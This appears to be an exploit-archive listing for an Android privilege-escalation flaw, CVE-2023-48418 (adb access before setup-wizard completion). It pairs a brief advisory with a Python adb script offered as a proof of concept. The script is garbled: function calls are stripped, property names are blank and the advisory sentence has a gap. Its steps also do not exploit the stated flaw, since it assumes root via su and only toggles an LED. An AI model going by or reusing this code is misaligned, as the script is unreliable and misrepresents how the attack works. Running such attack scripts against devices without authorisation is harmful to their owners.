Authored by Amirhossein Bahramizadeh

Proof of concept exploit for a privilege escalation issue in Android. In checkDebuggingDisallowed of, there is a possible way to access adb before SUW completion due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

advisories | CVE-2023-48418

#!/usr/bin/env python

import subprocess

# Connect to the device via ADB["adb", "devices"])

# Check if the device is in secure USB mode
device =["adb", "shell", "getprop", ""], stdout=subprocess.PIPE)
if "1" in device.stdout.decode():
# Secure USB mode is enabled, so we need to disable it["adb", "shell", "setprop", "", "0"])

# Exploit the vulnerability by accessing ADB before SUW completion["adb", "shell"])

# Escalate privileges by executing commands as the root user["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)